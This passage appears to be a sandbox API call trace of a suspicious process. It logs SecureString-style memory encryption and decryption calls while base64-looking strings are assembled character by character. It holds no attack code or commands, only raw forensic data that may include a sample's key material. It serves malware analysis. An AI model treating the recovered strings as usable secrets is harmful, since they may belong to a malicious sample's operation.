OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0236.695] SysStringLen (param_1="햩褭컓⤐숳릝툾㏶᩻뷏㷨㒧㙄⌐性෢\烞坡秤≢) returned 0x18 [0236.695] SysStringLen (param_1="햩褭컓⤐숳릝툾㏶᩻뷏㷨㒧㙄⌐性෢\烞坡秤≢) returned 0x18 [0236.695] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0236.695] SysStringLen (param_1="HfiuJOz42CmbbPzgbLqu9F䔷") returned 0x18 [0236.695] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0236.695] SysStringLen (param_1="햩褭컓⤐숳릝툾㏶᩻뷏㷨㒧㙄⌐㶦樞闺뱮峟⧊㹭") returned 0x18 [0236.695] SysStringLen (param_1="햩褭컓⤐숳릝툾㏶᩻뷏㷨㒧㙄⌐㶦樞闺뱮峟⧊㹭") returned 0x18 [0236.696] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0236.696] SysStringLen (param_1="HfiuJOz42CmbbPzgbLqu9FN") returned 0x18 [0236.696] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0236.696] SysStringLen (param_1="햩褭컓⤐숳릝툾㏶᩻뷏㷨㒧㙄⌐䷸ﳊ性娈갔䕭軺า") returned 0x18 [0236.696] SysStringLen (param_1="햩褭컓⤐숳릝툾㏶᩻뷏㷨㒧㙄⌐䷸ﳊ性娈갔䕭軺า") returned 0x18 [0236.696] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0236.696] SysStringLen (param_1="HfiuJOz42CmbbPzgbLqu9FN9") returned 0x18 [0236.696] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0236.696] SysStringLen (param_1="햩褭컓⤐숳릝툾㏶᩻뷏㷨㒧㙄⌐ߖ\꫞븋ߝ튾飺∔) returned 0x18 [0236.697] SysStringLen (param_1="햩褭컓⤐숳릝툾㏶᩻뷏㷨㒧㙄⌐ߖ\꫞븋ߝ튾飺∔) returned 0x18 [0236.697] SysStringLen (param_1="햩褭컓⤐숳릝툾㏶᩻뷏㷨㒧㙄⌐ߖ\꫞븋ߝ튾飺∔) returned 0x18 [0236.697] SysStringLen (param_1="햩褭컓⤐숳릝툾㏶᩻뷏㷨㒧㙄⌐ߖ\꫞븋ߝ튾飺∔) returned 0x20 [0236.697] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0236.697] SysStringLen (param_1="HfiuJOz42CmbbPzgbLqu9FN9Z\瓞撩冱硖ꄈꎉ⋙) returned 0x20 [0236.697] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0236.697] SysStringLen (param_1="햩褭컓⤐숳릝툾㏶᩻뷏㷨㒧㙄⌐ߖ\꫞븋ߝ튾飺䨔ḷ䬜㒌⎔ಆ뻏⋓) returned 0x20 [0236.697] SysStringLen (param_1="햩褭컓⤐숳릝툾㏶᩻뷏㷨㒧㙄⌐ߖ\꫞븋ߝ튾飺䨔ḷ䬜㒌⎔ಆ뻏⋓) returned 0x20 [0236.697] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0236.698] SysStringLen (param_1="HfiuJOz42CmbbPzgbLqu9FN9Z0ꥴ녤噑ࡸ覡\⋙) returned 0x20 [0236.698] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0236.698] SysStringLen (param_1="햩褭컓⤐숳릝툾㏶᩻뷏㷨㒧㙄⌐ߖ\꫞븋ߝ튾飺贔컩益䵐䑹猦遷ᢵ∢) returned 0x20 [0236.698] SysStringLen (param_1="햩褭컓⤐숳릝툾㏶᩻뷏㷨㒧㙄⌐ߖ\꫞븋ߝ튾飺贔컩益䵐䑹猦遷ᢵ∢) returned 0x20 [0236.698] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0236.698] SysStringLen (param_1="HfiuJOz42CmbbPzgbLqu9FN9Z0e녤噑ࡸ覡\⋙) returned 0x20 [0236.698] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0236.699] SysStringLen (param_1="햩褭컓⤐숳릝툾㏶᩻뷏㷨㒧㙄⌐ߖ\꫞븋ߝ튾飺㐔ྒྷ졧㍘Ꙇ⅄룔㔂≜) returned 0x20 [0236.699] SysStringLen (param_1="햩褭컓⤐숳릝툾㏶᩻뷏㷨㒧㙄⌐ߖ\꫞븋ߝ튾飺㐔ྒྷ졧㍘Ꙇ⅄룔㔂≜) returned 0x20 [0236.699] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0236.699] SysStringLen (param_1="HfiuJOz42CmbbPzgbLqu9FN9Z0eL噑ࡸ覡\⋙) returned 0x20 [0236.699] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0236.699] SysStringLen (param_1="햩褭컓⤐숳릝툾㏶᩻뷏㷨㒧㙄⌐ߖ\꫞븋ߝ튾飺椔⏱ﵖ褉ڨ膬ঘ≃) returned 0x20 [0236.699] SysStringLen (param_1="햩褭컓⤐숳릝툾㏶᩻뷏㷨㒧㙄⌐ߖ\꫞븋ߝ튾飺椔⏱ﵖ褉ڨ膬ঘ≃) returned 0x20 [0236.699] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0236.699] SysStringLen (param_1="HfiuJOz42CmbbPzgbLqu9FN9Z0eL3ࡸ覡\⋙) returned 0x20 [0236.699] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0236.699] SysStringLen (param_1="햩褭컓⤐숳릝툾㏶᩻뷏㷨㒧㙄⌐ߖ\꫞븋ߝ튾飺焔㫍䝂竗ᴖ쐶ﹾ⊡) returned 0x20 [0236.700] SysStringLen (param_1="햩褭컓⤐숳릝툾㏶᩻뷏㷨㒧㙄⌐ߖ\꫞븋ߝ튾飺焔㫍䝂竗ᴖ쐶ﹾ⊡) returned 0x20 [0236.700] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0236.700] SysStringLen (param_1="HfiuJOz42CmbbPzgbLqu9FN9Z0eL36覡\⋙) returned 0x20 [0236.700] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0236.700] SysStringLen (param_1="햩褭컓⤐숳릝툾㏶᩻뷏㷨㒧㙄⌐ߖ\꫞븋ߝ튾飺㠔׋힭䖹▘纀ᗌ᜴∇) returned 0x20 [0236.700] SysStringLen (param_1="햩褭컓⤐숳릝툾㏶᩻뷏㷨㒧㙄⌐ߖ\꫞븋ߝ튾飺㠔׋힭䖹▘纀ᗌ᜴∇) returned 0x20 [0236.700] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0236.700] SysStringLen (param_1="HfiuJOz42CmbbPzgbLqu9FN9Z0eL36r\⋙) returned 0x20 [0236.700] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0236.700] SysStringLen (param_1="햩褭컓⤐숳릝툾㏶᩻뷏㷨㒧㙄⌐ߖ\꫞븋ߝ튾飺䴔쯩銃㚶㊎\竞逝폪") returned 0x20 [0236.700] SysStringLen (param_1="햩褭컓⤐숳릝툾㏶᩻뷏㷨㒧㙄⌐ߖ\꫞븋ߝ튾飺䴔쯩銃㚶㊎\竞逝폪") returned 0x20 [0236.700] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0236.701] SysStringLen (param_1="HfiuJOz42CmbbPzgbLqu9FN9Z0eL36rv") returned 0x20 [0236.701] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0236.701] SysStringLen (param_1="햩褭컓⤐숳릝툾㏶᩻뷏㷨㒧㙄⌐ߖ\꫞븋ߝ튾飺戔靺됄ᙃￃ\ዞ") returned 0x20 [0236.701] SysStringLen (param_1="햩褭컓⤐숳릝툾㏶᩻뷏㷨㒧㙄⌐ߖ\꫞븋ߝ튾飺戔靺됄ᙃￃ\ዞ") returned 0x20 [0236.701] SysStringLen (param_1="햩褭컓⤐숳릝툾㏶᩻뷏㷨㒧㙄⌐ߖ\꫞븋ߝ튾飺戔靺됄ᙃￃ\ዞ") returned 0x20 [0236.701] SysStringLen (param_1="햩褭컓⤐숳릝툾㏶᩻뷏㷨㒧㙄⌐ߖ\꫞븋ߝ튾飺戔靺됄ᙃￃ\ዞ\x10") returned 0x28 [0236.701] SystemFunction041 (in: Memory=0x5c9b0bc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b0bc) returned 0x0 [0236.702] SysStringLen (param_1="HfiuJOz42CmbbPzgbLqu9FN9Z0eL36rvz禍ɶ\⿜뿨臌媦⊃) returned 0x28 [0236.702] SystemFunction040 (in: Memory=0x5c9b0bc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b0bc) returned 0x0 [0236.702] SysStringLen (param_1="햩褭컓⤐숳릝툾㏶᩻뷏㷨㒧㙄⌐ߖ\꫞븋ߝ튾飺戔靺됄ᙃￃ\ዞ橼絵ី⽮從\꧝拸⋐) returned 0x28 [0236.702] SysStringLen (param_1="햩褭컓⤐숳릝툾㏶᩻뷏㷨㒧㙄⌐ߖ\꫞븋ߝ튾飺戔靺됄ᙃￃ\ዞ橼絵ី⽮從\꧝拸⋐) returned 0x28 [0236.702] SystemFunction041 (in: Memory=0x5c9b0bc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b0bc) returned 0x0 [0236.702] SysStringLen (param_1="HfiuJOz42CmbbPzgbLqu9FN9Z0eL36rvzdɶ\⿜뿨臌媦⊃) returned 0x28 [0236.702] SystemFunction040 (in: Memory=0x5c9b0bc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b0bc) returned 0x0 [0236.702] SysStringLen (param_1="햩褭컓⤐숳릝툾㏶᩻뷏㷨㒧㙄⌐ߖ\꫞븋ߝ튾飺戔靺됄ᙃￃ\ዞ絑턼蓗컱릦燙ꭉ") returned 0x28 [0236.702] SysStringLen (param_1="햩褭컓⤐숳릝툾㏶᩻뷏㷨㒧㙄⌐ߖ\꫞븋ߝ튾飺戔靺됄ᙃￃ\ዞ絑턼蓗컱릦燙ꭉ") returned 0x28 [0236.702] SystemFunction041 (in: Memory=0x5c9b0bc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b0bc) returned 0x0 [0236.702] SysStringLen (param_1="HfiuJOz42CmbbPzgbLqu9FN9Z0eL36rvzdE\⿜뿨臌媦⊃) returned 0x28 [0236.702] SystemFunction040 (in: Memory=0x5c9b0bc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b0bc) returned 0x0 [0236.703] SysStringLen (param_1="햩褭컓⤐숳릝툾㏶᩻뷏㷨㒧㙄⌐ߖ\꫞븋ߝ튾飺戔靺됄ᙃￃ\ዞ睉⩦澓ꃆྒྷꗁ焠") returned 0x28 [0236.703] SysStringLen (param_1="햩褭컓⤐숳릝툾㏶᩻뷏㷨㒧㙄⌐ߖ\꫞븋ߝ튾飺戔靺됄ᙃￃ\ዞ睉⩦澓ꃆྒྷꗁ焠") returned 0x28 [0236.703] SystemFunction041 (in: Memory=0x5c9b0bc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b0bc) returned 0x0 [0236.703] SysStringLen (param_1="HfiuJOz42CmbbPzgbLqu9FN9Z0eL36rvzdE6첿ꚁ荚") returned 0x28 [0236.703] SystemFunction040 (in: Memory=0x5c9b0bc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b0bc) returned 0x0 [0236.703] SysStringLen (param_1="햩褭컓⤐숳릝툾㏶᩻뷏㷨㒧㙄⌐ߖ\꫞븋ߝ튾飺戔靺됄ᙃￃ\ዞ㏷艐ꠢ懽") returned 0x28 [0236.703] SysStringLen (param_1="햩褭컓⤐숳릝툾㏶᩻뷏㷨㒧㙄⌐ߖ\꫞븋ߝ튾飺戔靺됄ᙃￃ\ዞ㏷艐ꠢ懽") returned 0x28 [0236.703] SystemFunction041 (in: Memory=0x5c9b0bc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b0bc) returned 0x0 [0236.703] SysStringLen (param_1="HfiuJOz42CmbbPzgbLqu9FN9Z0eL36rvzdE6h첿ꚁ荚") returned 0x28 [0236.703] SystemFunction040 (in: Memory=0x5c9b0bc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b0bc) returned 0x0 [0236.703] SysStringLen (param_1="햩褭컓⤐숳릝툾㏶᩻뷏㷨㒧㙄⌐ߖ\꫞븋ߝ튾飺戔靺됄ᙃￃ\ዞ렟ꈚ髊ԓ洹찂䠓땈") returned 0x28 [0236.703] SysStringLen (param_1="햩褭컓⤐숳릝툾㏶᩻뷏㷨㒧㙄⌐ߖ\꫞븋ߝ튾飺戔靺됄ᙃￃ\ዞ렟ꈚ髊ԓ洹찂䠓땈") returned 0x28 [0236.703] SystemFunction041 (in: Memory=0x5c9b0bc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b0bc) returned 0x0 [0236.703] SysStringLen (param_1="HfiuJOz42CmbbPzgbLqu9FN9Z0eL36rvzdE6hlꚁ荚") returned 0x28 [0236.704] SystemFunction040 (in: Memory=0x5c9b0bc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b0bc) returned 0x0 [0236.704] SysStringLen (param_1="햩褭컓⤐숳릝툾㏶᩻뷏㷨㒧㙄⌐ߖ\꫞븋ߝ튾飺戔靺됄ᙃￃ\ዞ홱ᬡ띍प\㓝ࢧⷾ≞) returned 0x28 [0236.704] SysStringLen (param_1="햩褭컓⤐숳릝툾㏶᩻뷏㷨㒧㙄⌐ߖ\꫞븋ߝ튾飺戔靺됄ᙃￃ\ዞ홱ᬡ띍प\㓝ࢧⷾ≞) returned 0x28 [0236.704] SystemFunction041 (in: Memory=0x5c9b0bc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b0bc) returned 0x0 [0236.704] SysStringLen (param_1="HfiuJOz42CmbbPzgbLqu9FN9Z0eL36rvzdE6hlt荚") returned 0x28 [0236.704] SystemFunction040 (in: Memory=0x5c9b0bc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b0bc) returned 0x0 [0236.704] SysStringLen (param_1="햩褭컓⤐숳릝툾㏶᩻뷏㷨㒧㙄⌐ߖ\꫞븋ߝ튾飺戔靺됄ᙃￃ\ዞ﴿\䛘왎윖롎䏑≝) returned 0x28 [0236.704] SysStringLen (param_1="햩褭컓⤐숳릝툾㏶᩻뷏㷨㒧㙄⌐ߖ\꫞븋ߝ튾飺戔靺됄ᙃￃ\ዞ﴿\䛘왎윖롎䏑≝) returned 0x28 [0236.704] SystemFunction041 (in: Memory=0x5c9b0bc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b0bc) returned 0x0 [0236.704] SysStringLen (param_1="HfiuJOz42CmbbPzgbLqu9FN9Z0eL36rvzdE6hltp") returned 0x28 [0236.704] SystemFunction040 (in: Memory=0x5c9b0bc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b0bc) returned 0x0 [0236.704] SysStringLen (param_1="햩褭컓⤐숳릝툾㏶᩻뷏㷨㒧㙄⌐ߖ\꫞븋ߝ튾飺戔靺됄ᙃￃ\ዞꗤ賨ꅷʪ藞뿒嬥") returned 0x28 [0236.705] SysStringLen (param_1="햩褭컓⤐숳릝툾㏶᩻뷏㷨㒧㙄⌐ߖ\꫞븋ߝ튾飺戔靺됄ᙃￃ\ዞꗤ賨ꅷʪ藞뿒嬥") returned 0x28 [0236.705] SysStringLen (param_1="햩褭컓⤐숳릝툾㏶᩻뷏㷨㒧㙄⌐ߖ\꫞븋ߝ튾飺戔靺됄ᙃￃ\ዞꗤ賨ꅷʪ藞뿒嬥") returned 0x28 [0236.705] SysStringLen (param_1="햩褭컓⤐숳릝툾㏶᩻뷏㷨㒧㙄⌐ߖ\꫞븋ߝ튾飺戔靺됄ᙃￃ\ዞꗤ賨ꅷʪ藞뿒嬥") returned 0x30 [0236.705] SystemFunction041 (in: Memory=0x5c92e9c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e9c) returned 0x0 [0236.705] SysStringLen (param_1="HfiuJOz42CmbbPzgbLqu9FN9Z0eL36rvzdE6hltpR둽혞롤ัভ⡖⿜") returned 0x30 [0236.705] SystemFunction040 (in: Memory=0x5c92e9c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e9c) returned 0x0 [0236.705] SysStringLen (param_1="햩褭컓⤐숳릝툾㏶᩻뷏㷨㒧㙄⌐ߖ\꫞븋ߝ튾飺戔靺됄ᙃￃ\ዞꗤ賨ꅷʪ藞뿒嬥即债暧᤟橺ᰩ䪕Ú") returned 0x30 [0236.705] SysStringLen (param_1="햩褭컓⤐숳릝툾㏶᩻뷏㷨㒧㙄⌐ߖ\꫞븋ߝ튾飺戔靺됄ᙃￃ\ዞꗤ賨ꅷʪ藞뿒嬥即债暧᤟橺ᰩ䪕Ú") returned 0x30 [0236.705] SystemFunction041 (in: Memory=0x5c92e9c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e9c) returned 0x0 [0236.706] SysStringLen (param_1="HfiuJOz42CmbbPzgbLqu9FN9Z0eL36rvzdE6hltpRD혞롤ัভ⡖⿜") returned 0x30 [0236.706] SystemFunction040 (in: Memory=0x5c92e9c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e9c) returned 0x0 [0236.706] SysStringLen (param_1="햩褭컓⤐숳릝툾㏶᩻뷏㷨㒧㙄⌐ߖ\꫞븋ߝ튾飺戔靺됄ᙃￃ\ዞꗤ賨ꅷʪ藞뿒嬥赹쀝Ṏ鱍辔") returned 0x30 [0236.706] SysStringLen (param_1="햩褭컓⤐숳릝툾㏶᩻뷏㷨㒧㙄⌐ߖ\꫞븋ߝ튾飺戔靺됄ᙃￃ\ዞꗤ賨ꅷʪ藞뿒嬥赹쀝Ṏ鱍辔") returned 0x30 [0236.706] SystemFunction041 (in: Memory=0x5c92e9c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e9c) returned 0x0 [0236.706] SysStringLen (param_1="HfiuJOz42CmbbPzgbLqu9FN9Z0eL36rvzdE6hltpRD4롤ัভ⡖⿜") returned 0x30 [0236.706] SystemFunction040 (in: Memory=0x5c92e9c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e9c) returned 0x0 [0236.706] SysStringLen (param_1="햩褭컓⤐숳릝툾㏶᩻뷏㷨㒧㙄⌐ߖ\꫞븋ߝ튾飺戔靺됄ᙃￃ\ዞꗤ賨ꅷʪ藞뿒嬥ณす芠俭䷅᏶㘿") returned 0x30 [0236.706] SysStringLen (param_1="햩褭컓⤐숳릝툾㏶᩻뷏㷨㒧㙄⌐ߖ\꫞븋ߝ튾飺戔靺됄ᙃￃ\ዞꗤ賨ꅷʪ藞뿒嬥ณす芠俭䷅᏶㘿") returned 0x30 [0236.706] SystemFunction041 (in: Memory=0x5c92e9c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e9c) returned 0x0 [0236.706] SysStringLen (param_1="HfiuJOz42CmbbPzgbLqu9FN9Z0eL36rvzdE6hltpRD4=ัভ⡖⿜") returned 0x30 [0236.706] SystemFunction040 (in: Memory=0x5c92e9c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e9c) returned 0x0 [0236.707] EtwEventActivityIdControl () returned 0x0 [0236.707] EtwEventActivityIdControl () returned 0x0 [0236.707] EtwEventActivityIdControl () returned 0x0 [0236.708] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e684, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0236.708] EtwEventActivityIdControl () returned 0x0 [0236.708] EtwEventActivityIdControl () returned 0x0 [0236.708] EtwEventActivityIdControl () returned 0x0 [0236.709] SysStringLen (param_1="") returned 0x8 [0236.710] SysStringLen (param_1="N") returned 0x8 [0236.710] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0236.710] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0236.710] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0236.710] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0236.710] SysStringLen (param_1="ND") returned 0x8 [0236.710] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0236.710] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0236.710] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0236.710] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0236.710] SysStringLen (param_1="NDZ") returned 0x8 [0236.710] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0236.710] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0236.711] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0236.711] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0236.711] SysStringLen (param_1="NDZl") returned 0x8 [0236.711] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0236.711] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0236.711] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0236.711] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0236.711] SysStringLen (param_1="NDZlO") returned 0x8 [0236.711] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0236.711] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0236.711] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0236.711] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0236.712] SysStringLen (param_1="NDZlOD") returned 0x8 [0236.712] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0236.712] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0236.712] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0236.712] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0236.712] SysStringLen (param_1="NDZlODR") returned 0x8 [0236.712] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0236.712] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0236.712] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0236.712] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0236.712] SysStringLen (param_1="NDZlODRm") returned 0x8 [0236.712] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0236.713] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0236.713] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0236.713] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0236.713] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x10 [0236.713] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0236.714] SysStringLen (param_1="NDZlODRmY뮇펬᠚࣢ᣆ㬞勉") returned 0x10 [0236.714] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0236.714] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0236.714] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0236.714] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0236.714] SysStringLen (param_1="NDZlODRmYz펬᠚࣢ᣆ㬞勉") returned 0x10 [0236.714] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0236.714] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0236.714] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0236.714] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0236.715] SysStringLen (param_1="NDZlODRmYzN᠚࣢ᣆ㬞勉") returned 0x10 [0236.715] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0236.715] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0236.715] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0236.715] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0236.715] SysStringLen (param_1="NDZlODRmYzNl࣢ᣆ㬞勉") returned 0x10 [0236.715] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0236.715] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0236.715] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0236.715] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0236.715] SysStringLen (param_1="NDZlODRmYzNlYᣆ㬞勉") returned 0x10 [0236.715] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0236.716] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0236.716] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0236.716] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0236.716] SysStringLen (param_1="NDZlODRmYzNlYT㬞勉") returned 0x10 [0236.716] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0236.716] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0236.716] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0236.716] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0236.716] SysStringLen (param_1="NDZlODRmYzNlYTJ勉") returned 0x10 [0236.716] SystemFunction040 (in: Memory=0x3c4e94, 